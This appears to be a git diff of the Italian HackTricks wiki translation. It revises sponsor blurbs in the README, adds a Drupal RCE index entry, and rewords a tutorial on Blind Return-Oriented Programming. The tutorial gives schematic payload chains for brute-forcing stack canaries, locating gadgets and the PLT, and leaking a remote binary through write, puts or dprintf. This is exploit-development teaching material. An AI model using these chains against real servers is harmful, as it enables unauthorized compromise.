Translated ['README.md', 'binary-exploitation/rop-return-oriented-progra
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 708 KiB |
Before Width: | Height: | Size: 708 KiB After Width: | Height: | Size: 287 KiB |
Before Width: | Height: | Size: 57 KiB After Width: | Height: | Size: 201 KiB |
Before Width: | Height: | Size: 201 KiB After Width: | Height: | Size: 197 KiB |
Before Width: | Height: | Size: 137 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 609 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 137 KiB |
Before Width: | Height: | Size: 160 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1.3 MiB |
Before Width: | Height: | Size: 148 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 428 KiB |
Before Width: | Height: | Size: 150 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 92 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 56 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 111 KiB After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 262 KiB |
Before Width: | Height: | Size: 111 KiB After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 284 KiB |
Before Width: | Height: | Size: 7.5 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 453 KiB |
Before Width: | Height: | Size: 23 KiB After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 210 KiB |
Before Width: | Height: | Size: 165 KiB After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 594 KiB |
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 112 KiB |
34
README.md
|
@ -1,11 +1,11 @@
|
||||||
# Trucchi di Hacking
|
# HackTricks
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
_Loghi e motion design di Hacktricks di_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
_Loghi e motion design di Hacktricks di_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**Benvenuti nella wiki dove troverete ogni trucco/tecnica di hacking/o qualsiasi altra cosa che ho imparato dai CTF, dalle app della vita reale, dalla lettura di ricerche e notizie.**
|
**Benvenuti nella wiki dove troverai ogni trucco/tecnica di hacking/o qualsiasi altra cosa che ho imparato dai CTF, dalle app della vita reale, dalla lettura di ricerche e notizie.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovresti seguire durante il pentesting** di una o più **macchine:**
|
Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovresti seguire durante il pentesting** di una o più **macchine:**
|
||||||
|
@ -20,11 +20,11 @@ Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovre
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**STM Cyber**](https://www.stmcyber.com) è una grande azienda di cybersecurity il cui slogan è **HACK THE UNHACKABLE**. Svolgono la propria ricerca e sviluppano i propri strumenti di hacking per **offrire diversi servizi di cybersecurity** come pentesting, Red teams e formazione.
|
[**STM Cyber**](https://www.stmcyber.com) è una grande azienda di cybersecurity il cui slogan è **HACK THE UNHACKABLE**. Svolgono ricerche proprie e sviluppano i propri strumenti di hacking per **offrire diversi servizi di sicurezza informatica** come pentesting, Red teams e formazione.
|
||||||
|
|
||||||
Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||||
|
|
||||||
**STM Cyber** supporta anche progetti open source di cybersecurity come HackTricks :)
|
**STM Cyber** supporta anche progetti open source di sicurezza informatica come HackTricks :)
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
|
@ -32,7 +32,7 @@ Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blo
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro bollente per i professionisti della tecnologia e della cybersecurity in ogni disciplina.
|
[**RootedCON**](https://www.rootedcon.com) è l'evento di sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro bollente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -42,9 +42,9 @@ Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blo
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Intigriti** è la piattaforma di ethical hacking **numero 1 in Europa** e di **bug bounty**.
|
**Intigriti** è la piattaforma di ethical hacking **numero 1 in Europa** e per **bug bounty**.
|
||||||
|
|
||||||
**Consiglio bug bounty**: **iscriviti** a **Intigriti**, una piattaforma premium di **bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare taglie fino a **$100,000**!
|
**Consiglio per bug bounty**: **iscriviti** a **Intigriti**, una piattaforma premium di **bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare taglie fino a **$100,000**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -79,9 +79,9 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
||||||
|
|
||||||
### [Pentest-Tools.com](https://pentest-tools.com/) - Il kit di strumenti essenziale per il penetration testing
|
### [Pentest-Tools.com](https://pentest-tools.com/) - Il kit di strumenti essenziale per il penetration testing
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Setup immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, poppare shell e divertirsi.
|
**Configurazione immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
@ -89,12 +89,12 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
|
||||||
|
|
||||||
### [SerpApi](https://serpapi.com/)
|
### [SerpApi](https://serpapi.com/)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
SerpApi offre API in tempo reale veloci e facili per **accedere ai risultati dei motori di ricerca**. Raschiano i motori di ricerca, gestiscono proxy, risolvono captcha e analizzano tutti i dati strutturati ricchi per te.
|
SerpApi offre API in tempo reale veloci e facili per **accedere ai risultati dei motori di ricerca**. Raschiano i motori di ricerca, gestiscono proxy, risolvono captcha e analizzano tutti i dati strutturati ricchi per te.
|
||||||
|
|
||||||
Una sottoscrizione a uno dei piani di SerpApi include l'accesso a oltre 50 diverse API per raschiare diversi motori di ricerca, tra cui Google, Bing, Baidu, Yahoo, Yandex e altri.\
|
Una sottoscrizione a uno dei piani di SerpApi include l'accesso a oltre 50 diverse API per raschiare diversi motori di ricerca, tra cui Google, Bing, Baidu, Yahoo, Yandex e altri.\
|
||||||
A differenza di altri fornitori, **SerpApi non si limita a raschiare solo i risultati organici**. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video inline, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca.
|
A differenza di altri fornitori, **SerpApi non si limita a raschiare solo i risultati organici**. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video incorporati, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca.
|
||||||
|
|
||||||
Attuali clienti di SerpApi includono **Apple, Shopify e GrubHub**.\
|
Attuali clienti di SerpApi includono **Apple, Shopify e GrubHub**.\
|
||||||
Per ulteriori informazioni, controlla il loro [**blog**](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\
|
Per ulteriori informazioni, controlla il loro [**blog**](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\
|
||||||
|
@ -114,11 +114,11 @@ Puoi **creare un account gratuito** [**qui**](https://serpapi.com/users/sign\_up
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl) è una società di cybersecurity professionale con sede ad **Amsterdam** che aiuta a **proteggere** le imprese **di tutto il mondo** contro le ultime minacce di cybersecurity fornendo servizi di **sicurezza offensiva** con un **approccio moderno**.
|
[**WebSec**](https://websec.nl) è una società di sicurezza informatica professionale con sede ad **Amsterdam** che aiuta a **proteggere** le imprese **in tutto il mondo** contro le ultime minacce alla sicurezza informatica fornendo servizi di **sicurezza offensiva** con un **approccio moderno**.
|
||||||
|
|
||||||
WebSec è una società di sicurezza **all-in-one**, il che significa che fanno tutto; Pentesting, **Audits di Sicurezza, Formazioni sulla Consapevolezza, Campagne di Phishing, Revisione del Codice, Sviluppo di Exploit, Outsourcing di Esperti di Sicurezza e molto altro.
|
WebSec è una società di sicurezza **all-in-one**, il che significa che fanno tutto; Pentesting, **Audits di Sicurezza**, Formazioni sulla Consapevolezza, Campagne di Phishing, Revisione del Codice, Sviluppo di Exploit, Outsourcing di Esperti di Sicurezza e molto altro.
|
||||||
|
|
||||||
Un'altra cosa interessante su WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie competenze**, al punto che **garantisce i migliori risultati di qualità**, si legge sul loro sito web "**Se non possiamo hackerarlo, non lo paghiamo!**". Per ulteriori informazioni dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e al [**blog**](https://websec.nl/blog/)!
|
Un'altra cosa interessante su WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie competenze**, tanto da **garantire i migliori risultati di qualità**, si legge sul loro sito web "**Se non possiamo hackerarlo, non lo paghiamo!**". Per ulteriori informazioni dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e al [**blog**](https://websec.nl/blog/)!
|
||||||
|
|
||||||
Oltre a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.**
|
Oltre a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.**
|
||||||
|
|
||||||
|
@ -129,13 +129,13 @@ Oltre a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.*
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||||
|
|
||||||
Il loro obiettivo principale di WhiteIntel è combattere le violazioni di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||||
|
|
||||||
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
|
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
{% embed url="https://whiteintel.io" %}
|
||||||
|
|
||||||
## Licenza & Avvertenza
|
## Licenza & Disclaimer
|
||||||
|
|
||||||
Controllali su:
|
Controllali su:
|
||||||
|
|
||||||
|
@ -145,7 +145,7 @@ Controllali su:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
|
|
@ -373,7 +373,8 @@
|
||||||
* [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
* [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||||
* [CGI](network-services-pentesting/pentesting-web/cgi.md)
|
* [CGI](network-services-pentesting/pentesting-web/cgi.md)
|
||||||
* [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
|
* [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
|
||||||
* [Drupal](network-services-pentesting/pentesting-web/drupal.md)
|
* [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
|
||||||
|
* [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
|
||||||
* [Electron Desktop Apps](network-services-pentesting/pentesting-web/electron-desktop-apps/README.md)
|
* [Electron Desktop Apps](network-services-pentesting/pentesting-web/electron-desktop-apps/README.md)
|
||||||
* [Electron contextIsolation RCE via preload code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md)
|
* [Electron contextIsolation RCE via preload code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md)
|
||||||
* [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
|
* [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
@ -26,9 +26,9 @@ Questo attacco si basa sul seguente scenario:
|
||||||
|
|
||||||
### **1. Trova l'offset vulnerabile** inviando un carattere in più fino a quando non viene rilevato un malfunzionamento del server
|
### **1. Trova l'offset vulnerabile** inviando un carattere in più fino a quando non viene rilevato un malfunzionamento del server
|
||||||
|
|
||||||
### **2. Forza bruta sul canary** per effettuare un **leak**
|
### **2. Forza bruta del canary** per effettuare un **leak** 
|
||||||
|
|
||||||
### **3. Forza bruta sugli indirizzi RBP e RIP** memorizzati nello stack per effettuare un **leak**
|
### **3. Forza bruta degli indirizzi RBP e RIP** memorizzati nello stack per effettuare un **leak**
|
||||||
|
|
||||||
È possibile trovare ulteriori informazioni su questi processi [qui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [qui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
È possibile trovare ulteriori informazioni su questi processi [qui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [qui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||||
|
|
||||||
|
@ -40,7 +40,7 @@ Questo gadget permette fondamentalmente di confermare che è stato eseguito qual
|
||||||
|
|
||||||
Questa tecnica utilizza il gadget [**ret2csu**](ret2csu.md). E questo perché se si accede a questo gadget nel mezzo di alcune istruzioni si ottengono gadget per controllare **`rsi`** e **`rdi`**:
|
Questa tecnica utilizza il gadget [**ret2csu**](ret2csu.md). E questo perché se si accede a questo gadget nel mezzo di alcune istruzioni si ottengono gadget per controllare **`rsi`** e **`rdi`**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
Questi sarebbero i gadget:
|
Questi sarebbero i gadget:
|
||||||
|
|
||||||
|
@ -49,13 +49,13 @@ Questi sarebbero i gadget:
|
||||||
|
|
||||||
Nota come con quei gadget è possibile **controllare 2 argomenti** di una funzione da chiamare.
|
Nota come con quei gadget è possibile **controllare 2 argomenti** di una funzione da chiamare.
|
||||||
|
|
||||||
Inoltre, nota che il gadget ret2csu ha una **firma molto unica** perché estrae 6 registri dallo stack. Quindi inviando una catena come:
|
Inoltre, nota che il gadget ret2csu ha una **firma molto unica** perché estrarrà 6 registri dallo stack. Quindi inviando una catena come:
|
||||||
|
|
||||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||||
|
|
||||||
Se viene eseguito lo **STOP**, questo significa fondamentalmente che è stato utilizzato un **indirizzo che estrae 6 registri** dallo stack. Oppure che l'indirizzo utilizzato era anche un indirizzo di STOP.
|
Se viene eseguito lo **STOP**, questo significa fondamentalmente che è stato utilizzato un **indirizzo che estrae 6 registri** dallo stack. Oppure che l'indirizzo utilizzato era anche un indirizzo di STOP.
|
||||||
|
|
||||||
Per **rimuovere questa ultima opzione** viene eseguita una nuova catena come la seguente e non deve eseguire il gadget STOP per confermare che il precedente ha estratto 6 registri:
|
Per **rimuovere quest'ultima opzione** viene eseguita una nuova catena come la seguente e non deve eseguire il gadget STOP per confermare che il precedente ha estratto 6 registri:
|
||||||
|
|
||||||
`'A' * offset + canary + rbp + ADDR`
|
`'A' * offset + canary + rbp + ADDR`
|
||||||
|
|
||||||
|
@ -63,7 +63,7 @@ Conoscendo l'indirizzo del gadget ret2csu, è possibile **dedurre l'indirizzo de
|
||||||
|
|
||||||
### 6. Trova il PLT
|
### 6. Trova il PLT
|
||||||
|
|
||||||
La tabella PLT può essere cercata da 0x400000 o dall'**indirizzo RIP leakato** dallo stack (se viene utilizzato **PIE**). Le **voci** della tabella sono **separate da 16B** (0x10B), e quando viene chiamata una funzione il server non crasha anche se gli argomenti non sono corretti. Inoltre, controllare l'indirizzo di una voce nel **PLT + 6B non crasha** poiché è il primo codice eseguito.
|
La tabella PLT può essere cercata da 0x400000 o dall'**indirizzo RIP leakato** dallo stack (se viene utilizzato **PIE**). Le **voci** della tabella sono **separate da 16B** (0x10B), e quando viene chiamata una funzione il server non crasha anche se gli argomenti non sono corretti. Inoltre, controllando l'indirizzo di una voce nel **PLT + 6B non crasha** poiché è il primo codice eseguito.
|
||||||
|
|
||||||
Pertanto, è possibile trovare la tabella PLT controllando i seguenti comportamenti:
|
Pertanto, è possibile trovare la tabella PLT controllando i seguenti comportamenti:
|
||||||
|
|
||||||
|
@ -71,9 +71,9 @@ Pertanto, è possibile trovare la tabella PLT controllando i seguenti comportame
|
||||||
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> nessun crash
|
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> nessun crash
|
||||||
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> nessun crash
|
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> nessun crash
|
||||||
|
|
||||||
### 7. Trova strcmp
|
### 7. Trovare strcmp
|
||||||
|
|
||||||
La funzione **`strcmp`** imposta il registro **`rdx`** alla lunghezza della stringa confrontata. Nota che **`rdx`** è il **terzo argomento** e deve essere **maggiore di 0** per poter utilizzare successivamente `write` per effettuare un leak del programma.
|
La funzione **`strcmp`** imposta il registro **`rdx`** alla lunghezza della stringa confrontata. Nota che **`rdx`** è il **terzo argomento** e deve essere **maggiore di 0** per poter successivamente utilizzare `write` per effettuare un **leak** del programma.
|
||||||
|
|
||||||
È possibile trovare la posizione di **`strcmp`** nel PLT basandosi sul suo comportamento utilizzando il fatto che ora possiamo controllare i primi 2 argomenti delle funzioni:
|
È possibile trovare la posizione di **`strcmp`** nel PLT basandosi sul suo comportamento utilizzando il fatto che ora possiamo controllare i primi 2 argomenti delle funzioni:
|
||||||
|
|
||||||
|
@ -104,7 +104,7 @@ Nota che di solito `rdx` conterrà già un valore maggiore di 0, quindi questo p
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
### 8. Trovare Write o equivalente
|
### 8. Trovare Write o equivalente
|
||||||
|
|
||||||
Infine, è necessario un gadget che esfiltrerà i dati per esfiltrare il binario. E in questo momento è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.**
|
Infine, è necessario un gadget che esfiltra i dati per esfiltrare il binario. E in questo momento è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.**
|
||||||
|
|
||||||
Ci sono 3 funzioni comuni che potrebbero essere abusate per questo:
|
Ci sono 3 funzioni comuni che potrebbero essere abusate per questo:
|
||||||
|
|
||||||
|
@ -118,7 +118,7 @@ Il problema attuale è che non sappiamo **dove si trova la funzione write all'in
|
||||||
|
|
||||||
Tuttavia, sappiamo **dove si trova la tabella PLT** ed è possibile trovare write in base al suo **comportamento**. E possiamo creare **diverse connessioni** con il server e utilizzare un **FD alto** sperando che corrisponda a qualche nostra connessione.
|
Tuttavia, sappiamo **dove si trova la tabella PLT** ed è possibile trovare write in base al suo **comportamento**. E possiamo creare **diverse connessioni** con il server e utilizzare un **FD alto** sperando che corrisponda a qualche nostra connessione.
|
||||||
|
|
||||||
Firme comportamentali per trovare queste funzioni:
|
Firme di comportamento per trovare queste funzioni:
|
||||||
|
|
||||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se vengono stampati dati, allora è stata trovata puts
|
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se vengono stampati dati, allora è stata trovata puts
|
||||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se vengono stampati dati, allora è stata trovata dprintf
|
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se vengono stampati dati, allora è stata trovata dprintf
|
||||||
|
@ -132,3 +132,17 @@ Firme comportamentali per trovare queste funzioni:
|
||||||
|
|
||||||
* Documento originale: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
* Documento originale: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -10,7 +10,7 @@ Altri modi per supportare HackTricks:
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
